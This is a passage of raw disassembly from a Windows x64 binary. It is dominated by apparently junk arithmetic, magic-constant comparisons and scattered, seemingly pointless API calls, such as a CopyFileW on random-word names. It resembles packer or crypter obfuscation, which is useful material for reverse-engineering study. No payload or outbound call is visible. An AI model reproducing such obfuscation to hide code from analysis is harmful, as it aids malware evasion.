je 0x14000694a
cmp byte [rsp + 0x244c], 0x6d
je 0x140006998
jmp 0x1400069f7
movzx eax, word [rsp + 0x93c]
mov word [0x140126014], ax
lea rax, [rsp + 0x940]
mov qword [rsp + 0x43a0], rax
lea rax, [rsp + 0xee]
mov qword [rsp + 0x43a8], rax
mov rax, qword [rsp + 0x4260]
movzx eax, byte [rax]
mov byte [rsp + 0xf0], al
mov dword [rsp + 0x2450], 0x1463
jmp 0x1400069f7
lea r9, [rsp + 0xf0]
lea r8, [rsp + 0x4220]
mov edx, 0x29
mov rcx, qword [rsp + 0x4258]
call qword [sym.imp.USER32.dll_GetScrollRange]
mov dword [rsp + 0x241c], eax
mov rax, qword [rsp + 0x42e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x944]
sub eax, ecx
mov rcx, qword [rsp + 0x42e8]
mov word [rcx], ax
movsx eax, byte [rsp + 0xf0]
movsx ecx, byte [0x140125005]
sub eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x4308]
mov qword [rsp + 0x43b0], rax
mov rax, qword [rsp + 0x43a0]
movzx eax, word [rax]
mov dword [rsp + 0x2454], eax
cmp dword [rsp + 0x2454], 0x2bc
je 0x140006a38
cmp dword [rsp + 0x2454], 0x30d
je 0x140006a43
jmp 0x140006af3
call fcn.14010b900
nop
jmp 0x140006af3
lea rdx, str.Illustrates_Cached
mov rcx, qword [rsp + 0x42b8]
call qword [sym.imp.USER32.dll_GetPropW]
mov qword [rsp + 0x43b8], rax
movzx eax, word [rsp + 0x93c]
mov dword [rsp + 0x2458], eax
cmp dword [rsp + 0x2458], 0xdc0
je 0x140006a7e
jmp 0x140006abb
mov rax, qword [rsp + 0x41f0]
mov rcx, qword [rsp + 0x4298]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4280]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x23d4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x23f4], eax
jmp 0x140006af3
mov rax, qword [rsp + 0x4358]
mov ecx, dword [rsp + 0x2414]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4328]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4328]
mov edx, dword [rax]
mov rax, qword [rsp + 0x42f8]
movzx ecx, byte [rax]
call fcn.14010a6a0
nop
mov rax, qword [rsp + 0x4268]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
add eax, ecx
mov rcx, qword [rsp + 0x42f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4210]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x42a8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4260]
mov byte [rcx], al
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x944]
sub eax, ecx
mov rcx, qword [rsp + 0x42e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x42b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x43a0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x93c], ax
mov rax, qword [rsp + 0x42e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x42a0]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x734], ax
mov rax, qword [rsp + 0x4338]
mov rcx, qword [rsp + 0x4348]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0x4280]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2450]
sub eax, 0xb4
mov dword [rsp + 0x2450], eax
mov eax, dword [rsp + 0x23f4]
mov rcx, qword [rsp + 0x4208]
mov qword [rsp + 0x43c0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x43c0]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4330]
mov rcx, qword [rsp + 0x4360]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x43b0], rax
mov rax, qword [rsp + 0x4328]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2394]
sub ecx, eax
mov eax, ecx
mov dword [0x140126010], eax
mov rax, qword [rsp + 0x42f0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x940]
sub eax, ecx
mov rcx, qword [rsp + 0x43a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4250]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x42a8]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4210]
mov byte [rcx], al
movzx eax, word [rsp + 0x93c]
mov rcx, qword [rsp + 0x43a0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x938], ax
movsx eax, byte [rsp + 0x55]
mov rcx, qword [rsp + 0x4210]
movsx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x42a8]
mov byte [rcx], al
movsx eax, word [rsp + 0x944]
mov rcx, qword [rsp + 0x42a0]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x930], ax
cmp dword [rsp + 0x2450], 0x923
ja 0x140006af3
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x23d4]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2378], eax
mov rax, qword [rsp + 0x4330]
mov rcx, qword [rsp + 0x4360]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4330]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4348]
mov rcx, qword [rsp + 0x41f0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x42c8]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4358]
mov ecx, dword [rsp + 0x23cc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4328]
mov dword [rcx], eax
mov rax, qword [rsp + 0x42f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x43a8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0xee], al
mov rax, qword [rsp + 0x43a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x42f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x43a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x42b0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x938], ax
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [rsp + 0xf0]
and eax, ecx
mov rcx, qword [rsp + 0x42a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x734]
add eax, ecx
mov word [rsp + 0x930], ax
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x2378]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x23d4], eax
mov eax, dword [rsp + 0x2414]
mov ecx, dword [rsp + 0x2394]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x23cc], eax
mov rax, qword [rsp + 0x41f0]
mov rcx, qword [rsp + 0x4348]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x42c8]
mov qword [rcx], rax
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [rsp + 0xf0]
add eax, ecx
mov byte [0x140125005], al
movzx eax, word [rsp + 0x940]
mov rcx, qword [rsp + 0x42f0]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x93c], ax
mov rax, qword [rsp + 0x43a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xef]
sub eax, ecx
mov rcx, qword [rsp + 0x42f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x4260]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf0]
add eax, ecx
mov byte [rsp + 0x55], al
mov eax, dword [rsp + 0x240c]
add eax, 0x2b
mov dword [rsp + 0x240c], eax
mov rax, qword [rsp + 0x43a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xed]
add eax, ecx
mov byte [rsp + 0xef], al
movsx eax, word [rsp + 0x930]
movsx ecx, word [rsp + 0x734]
or eax, ecx
mov word [rsp + 0x944], ax
mov rax, qword [rsp + 0x4248]
mov rcx, qword [rsp + 0x42c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x4348], rax
mov rax, qword [rsp + 0x4358]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2414]
sar eax, cl
mov rcx, qword [rsp + 0x4328]
mov dword [rcx], eax
mov rax, qword [rsp + 0x43b0]
movzx ecx, al
mov rax, qword [rsp + 0x4308]
shl rax, cl
mov rcx, qword [rsp + 0x4360]
mov qword [rcx], rax
cmp dword [rsp + 0x240c], 0xd395
jbe 0x140006cdd
mov rax, qword [rsp + 0x43a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x93c]
and eax, ecx
mov word [0x140125008], ax
mov rax, qword [rsp + 0x4338]
mov rcx, qword [rsp + 0x42c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4280]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x4298]
add rdx, rcx
mov rcx, rdx
cmp rax, rcx
jne 0x140109a81
mov rax, qword [rsp + 0x42e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x42a0]
movsx ecx, word [rcx]
add eax, ecx
movsx ecx, word [rsp + 0x734]
movsx edx, word [rsp + 0x930]
add ecx, edx
cmp eax, ecx
jle 0x140007031
mov rax, qword [rsp + 0x4260]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4210]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4250]
mov byte [rcx], al
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x934]
sar eax, cl
mov word [rsp + 0x930], ax
jmp 0x140109a48
mov rax, qword [rsp + 0x4308]
mov qword [rsp + 0x43c8], rax
movabs rax, 0x3b61d96c79f815e
cmp qword [rsp + 0x43c8], rax
je 0x14000706e
movabs rax, 0xaa81258aead164a4
cmp qword [rsp + 0x43c8], rax
je 0x1400070b2
jmp 0x14000710d
lea rdx, [rsp + 0x43d0]
mov rcx, qword [rsp + 0x43d8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x245c], eax
mov rax, qword [rsp + 0x43a8]
movzx r8d, byte [rax]
mov rdx, qword [rsp + 0x4348]
mov rax, qword [rsp + 0x43a8]
movzx ecx, byte [rax]
call fcn.14010bf30
nop
jmp 0x14000710d
movzx eax, word [rsp + 0x93c]
mov rcx, qword [rsp + 0x42b0]
movzx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x42f0]
mov word [rcx], ax
xor r8d, r8d
lea rdx, str.GentrypreferablyAdrenalin
lea rcx, str.SlungTotallyBudgetaryDisorders
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [rsp + 0x23a0], eax
mov rax, qword [rsp + 0x42b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x940]
shl eax, cl
mov word [rsp + 0x938], ax
movzx eax, word [rsp + 0x938]
mov rcx, qword [rsp + 0x42b0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x42f0]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x43a0]
movzx edx, word [rdx]
and ecx, edx
cmp eax, ecx
je 0x1400071e3
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x930]
add eax, ecx
mov rcx, qword [rsp + 0x42e8]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x934]
add ecx, edx
cmp eax, ecx
je 0x140007193
mov rax, qword [rsp + 0x4330]
mov rcx, qword [rsp + 0x4308]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4360]
mov qword [rcx], rax
jmp 0x1400071e3
mov rax, qword [rsp + 0x42e8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x930]
sub eax, ecx
mov rcx, qword [rsp + 0x42a0]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0x734]
sub ecx, edx
cmp eax, ecx
jg 0x1400071e3
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
mov dword [rsp + 0x2460], eax
mov edx, dword [rsp + 0x23cc]
movzx ecx, byte [rsp + 0xee]
call fcn.14010a6a0
nop
mov rax, qword [rsp + 0x4328]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2414]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2394], eax
mov rax, qword [rsp + 0x4208]
mov eax, dword [rax]
mov ecx, dword [section..data]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2378], eax
mov rax, qword [rsp + 0x41f0]
mov rcx, qword [rsp + 0x4298]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4280]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4260]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4250]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x42a8]
mov byte [rcx], al
movzx eax, byte [rsp + 0xef]
movzx ecx, byte [rsp + 0xed]
xor eax, ecx
mov byte [rsp + 0xee], al
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [0x140125005]
shl eax, cl
mov byte [rsp + 0xf0], al
mov rax, qword [rsp + 0x42b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x938]
sar eax, cl
mov rcx, qword [rsp + 0x43a0]
mov word [rcx], ax
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x42e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x944], ax
mov rax, qword [rsp + 0x4308]
mov rcx, qword [rsp + 0x43b0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4330]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4358]
mov rcx, qword [rsp + 0x4328]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2414], eax
mov eax, dword [rsp + 0x242c]
add eax, 0x89
mov dword [rsp + 0x242c], eax
mov rax, qword [rsp + 0x4208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2378]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x23f4], eax
mov rax, qword [rsp + 0x42f8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xed]
add eax, ecx
mov byte [0x140125004], al
mov rax, qword [rsp + 0x43a8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xee]
sub eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
mov rax, qword [rsp + 0x43a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x43a8]
mov byte [rcx], al
movsx eax, word [rsp + 0x944]
movsx ecx, word [rsp + 0x930]
sub eax, ecx
mov word [rsp + 0x734], ax
mov rax, qword [rsp + 0x42e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x42a0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x944], ax
mov rax, qword [rsp + 0x43a0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x42b0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x42f0]
mov word [rcx], ax
cmp dword [rsp + 0x242c], 0x493e
jb 0x1400071e3
mov eax, dword [rsp + 0x23d4]
mov dword [rsp + 0x2464], eax
movzx eax, byte [0x140125004]
mov rcx, qword [rsp + 0x42f8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
mov dword [rsp + 0x2468], ecx
movzx edx, byte [rsp + 0xee]
movzx ecx, dl
mov edx, dword [rsp + 0x2468]
shl edx, cl
mov ecx, edx
cmp eax, ecx
jle 0x14000755c
mov rax, qword [rsp + 0x43a0]
movzx eax, word [rax]
mov dword [rsp + 0x246c], eax
cmp dword [rsp + 0x246c], 0xf05
je 0x140007475
jmp 0x140007498
mov r8d, 0x22
lea rdx, [rsp + 0x1a590]
mov rcx, qword [rsp + 0x43d8]
call qword [sym.imp.KERNEL32.dll_FindNextVolumeW]
mov dword [rsp + 0x2470], eax
movsx eax, word [rsp + 0x944]
movsx ecx, word [rsp + 0x734]
sub eax, ecx
mov rcx, qword [rsp + 0x42e8]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x42a0]
movsx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jne 0x140007557
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x930]
add eax, ecx
mov rcx, qword [rsp + 0x42e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4338]
mov r9, qword [rax]
mov rax, qword [rsp + 0x4280]
mov r8, qword [rax]
mov rax, qword [rsp + 0x42a0]
movzx edx, word [rax]
movzx ecx, word [rsp + 0x944]
call fcn.14010c380
mov rax, qword [rsp + 0x4210]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4260]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xf0], al
movzx eax, word [rsp + 0x93c]
mov rcx, qword [rsp + 0x43a0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x42b0]
mov word [rcx], ax
jmp 0x14010991f
mov rax, qword [rsp + 0x4210]
movzx eax, byte [rax]
mov byte [rsp + 0xf1], al
lea rax, [rsp + 0x944]
mov qword [rsp + 0x43e0], rax
mov eax, dword [rsp + 0x23cc]
movzx ecx, al
mov eax, dword [rsp + 0x2414]
shl eax, cl
mov rcx, qword [rsp + 0x4328]
mov rdx, qword [rsp + 0x42e0]
mov edx, dword [rdx]
mov ecx, dword [rcx]
or ecx, edx
cmp eax, ecx
je 0x1400075cf
mov rax, qword [rsp + 0x4248]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4298]
sar rax, cl
mov rcx, qword [rsp + 0x4280]
mov qword [rcx], rax
lea rax, [rsp + 0x23f4]
mov qword [rsp + 0x43e8], rax
mov rax, qword [rsp + 0x4298]
mov rcx, qword [rsp + 0x41f0]
and rcx, rax
mov rax, rcx
mov qword [0x140125010], rax
cmp dword [rsp + 0x2430], 0x5273
jae 0x140007b36
mov rax, qword [rsp + 0x4328]
mov ecx, dword [rsp + 0x23cc]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2414], eax
mov rax, qword [rsp + 0x4330]
mov rcx, qword [rsp + 0x4308]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x43b0], rax
movzx eax, byte [0x140125004]
movzx ecx, byte [rsp + 0xee]
add eax, ecx
mov rcx, qword [rsp + 0x43a8]
mov byte [rcx], al
movzx eax, word [rsp + 0x93c]
mov rcx, qword [rsp + 0x42f0]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x940], ax
movsx eax, byte [0x140125005]
movsx ecx, byte [rsp + 0xf0]
and eax, ecx
mov rcx, qword [rsp + 0x42a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x43e0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x930]
add eax, ecx
mov word [rsp + 0x734], ax
movzx eax, word [rsp + 0x940]
movzx ecx, word [rsp + 0x938]
add eax, ecx
mov word [rsp + 0x93c], ax
mov eax, dword [rsp + 0x2394]
mov ecx, dword [rsp + 0x23cc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2414], eax
mov rax, qword [rsp + 0x4208]
mov rcx, qword [rsp + 0x43e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4360]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x43b0]
shl rax, cl
mov rcx, qword [rsp + 0x4330]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4298]
movzx ecx, al
mov rax, qword [rsp + 0x41f0]
sar rax, cl
mov qword [rsp + 0x4348], rax
movzx eax, byte [rsp + 0xed]
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x42f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x42f0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x43a0]
movzx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x42b0]
mov word [rcx], ax
movsx eax, word [rsp + 0x944]
movsx ecx, word [rsp + 0x930]
and eax, ecx
mov word [rsp + 0x934], ax
movzx eax, byte [rsp + 0xee]
movzx ecx, byte [rsp + 0xed]
sub eax, ecx
mov rcx, qword [rsp + 0x4268]
mov byte [rcx], al
movsx eax, byte [rsp + 0xf1]
mov rcx, qword [rsp + 0x4260]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4250]
mov byte [rcx], al
mov rax, qword [rsp + 0x4248]
mov rcx, qword [rsp + 0x4280]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4348], rax
mov rax, qword [rsp + 0x43e8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x23f4]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4358]
mov rcx, qword [rsp + 0x4328]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x42e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4360]
mov rcx, qword [rsp + 0x4330]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x43b0], rax
mov rax, qword [rsp + 0x42b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x43a0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x42f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4210]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
add eax, ecx
mov byte [rsp + 0xf1], al
movsx eax, byte [rsp + 0x55]
movsx ecx, byte [rsp + 0xf0]
add eax, ecx
mov byte [rsp + 0xf1], al
mov rax, qword [rsp + 0x42e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x43e0]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x934], ax
mov rax, qword [rsp + 0x42f8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x43a8]
movzx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x42f8]
mov byte [rcx], al
mov rax, qword [rsp + 0x42e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2414]
sar eax, cl
mov dword [rsp + 0x23cc], eax
mov eax, dword [rsp + 0x2464]
mov rcx, qword [rsp + 0x43e8]
mov qword [rsp + 0x43f0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x43f0]
mov eax, dword [rax]
shl eax, cl
mov dword [section..data], eax
mov rax, qword [rsp + 0x42c8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4298]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4280]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4360]
mov rcx, qword [rsp + 0x43b0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4308], rax
mov eax, dword [rsp + 0x2430]
add eax, 0x75
mov dword [rsp + 0x2430], eax
movsx eax, byte [rsp + 0xf1]
mov rcx, qword [rsp + 0x4250]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4260]
mov byte [rcx], al
movzx eax, byte [rsp + 0xef]
movzx ecx, byte [rsp + 0xee]
sub eax, ecx
mov byte [rsp + 0xed], al
movzx eax, word [rsp + 0x938]
movzx ecx, word [rsp + 0x93c]
sub eax, ecx
mov rcx, qword [rsp + 0x42b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x43e0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x42e8]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x930], ax
mov rax, qword [rsp + 0x42a0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x43e0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x42e8]
mov word [rcx], ax
mov rax, qword [rsp + 0x4298]
mov rcx, qword [rsp + 0x41f0]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x4348], rax
mov rax, qword [rsp + 0x4308]
mov rcx, qword [rsp + 0x43b0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4360]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4208]
mov ecx, dword [rsp + 0x2474]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4208]
mov dword [rcx], eax
mov eax, dword [0x140126010]
mov ecx, dword [rsp + 0x2394]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x42e0]
mov dword [rcx], eax
movzx eax, byte [rsp + 0xee]
mov rcx, qword [rsp + 0x42f8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xed], al
mov rax, qword [rsp + 0x4210]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
sar eax, cl
mov rcx, qword [rsp + 0x42a8]
mov byte [rcx], al
movzx eax, byte [rsp + 0xef]
movzx ecx, byte [rsp + 0xed]
sub eax, ecx
mov rcx, qword [rsp + 0x43a8]
mov byte [rcx], al
movzx eax, word [rsp + 0x93c]
mov rcx, qword [rsp + 0x42b0]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x42f0]
mov word [rcx], ax
mov rax, qword [rsp + 0x42a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf1]
sub eax, ecx
mov byte [rsp + 0xf0], al
jmp 0x1400075fc
mov rax, qword [rsp + 0x4208]
mov rcx, qword [rsp + 0x43e8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2378], eax
mov rax, qword [rsp + 0x43b0]
mov qword [rsp + 0x43f8], rax
movabs rax, 0x25c540307f2e5f6b
cmp qword [rsp + 0x43f8], rax
je 0x140007be6
movabs rax, 0xf9fd7aa091455137
cmp qword [rsp + 0x43f8], rax
je 0x140007b90
jmp 0x140007c13
movzx eax, byte [rsp + 0xef]
movzx ecx, byte [rsp + 0xee]
add eax, ecx
mov byte [0x140125004], al
mov rax, qword [rsp + 0x4338]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4348]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4248]
mov qword [rcx], rax
mov eax, dword [0x140126010]
mov ecx, dword [rsp + 0x2414]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2394], eax
jmp 0x140007c13
lea rcx, [rsp + 0x238c]
call qword [sym.imp.KERNEL32.dll_GetConsoleSelectionInfo]
mov dword [rsp + 0x2434], eax
mov edx, dword [rsp + 0x2414]
mov rax, qword [rsp + 0x42f8]
movzx ecx, byte [rax]
call fcn.14010a6a0
nop
lea rax, [rsp + 0x944]
mov qword [rsp + 0x4400], rax
mov eax, dword [rsp + 0x2414]
mov dword [rsp + 0x2478], eax
cmp dword [rsp + 0x2478], 0x2a60b9a6
je 0x140007c43
jmp 0x140007d09
movzx eax, byte [rsp + 0xee]
mov byte [rsp + 0x247c], al
cmp byte [rsp + 0x247c], 0xf3
je 0x140007c61
jmp 0x140007cec
movzx eax, byte [rsp + 0xed]
mov rcx, qword [rsp + 0x4268]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x43a8]
mov byte [rcx], al
mov edx, dword [rsp + 0x2480]
mov rcx, qword [rsp + 0x43b8]
call qword [sym.imp.KERNEL32.dll_SetConsoleScreenBufferSize]
mov dword [rsp + 0x2470], eax
movsx eax, byte [rsp + 0xf1]
mov rcx, qword [rsp + 0x4250]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x55], al
mov rax, qword [rsp + 0x43a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x940]
and eax, ecx
mov rcx, qword [rsp + 0x43a0]
mov word [rcx], ax
mov rcx, qword [rsp + 0x43b8]
call qword [sym.imp.KERNEL32.dll_FindClose]
mov dword [rsp + 0x2484], eax
jmp 0x140007d07
mov rax, qword [rsp + 0x4358]
mov edx, dword [rax]
mov rax, qword [rsp + 0x43a8]
movzx ecx, byte [rax]
call fcn.14010a6a0
nop
jmp 0x140007d53
movzx eax, word [rsp + 0x93c]
movzx ecx, word [rsp + 0x938]
shl eax, cl
mov rcx, qword [rsp + 0x42b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x4280]
mov rcx, qword [rsp + 0x4348]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x41f0], rax
lea rax, [rsp + 0xee]
mov qword [0x140126018], rax
mov rax, qword [rsp + 0x4308]
mov rcx, qword [rsp + 0x4330]
mov qword [rsp + 0x4408], rcx
movzx ecx, al
mov rax, qword [rsp + 0x4408]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x4360]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4208]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x23d4]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x43e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x42e0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2394]
sub ecx, eax
mov eax, ecx
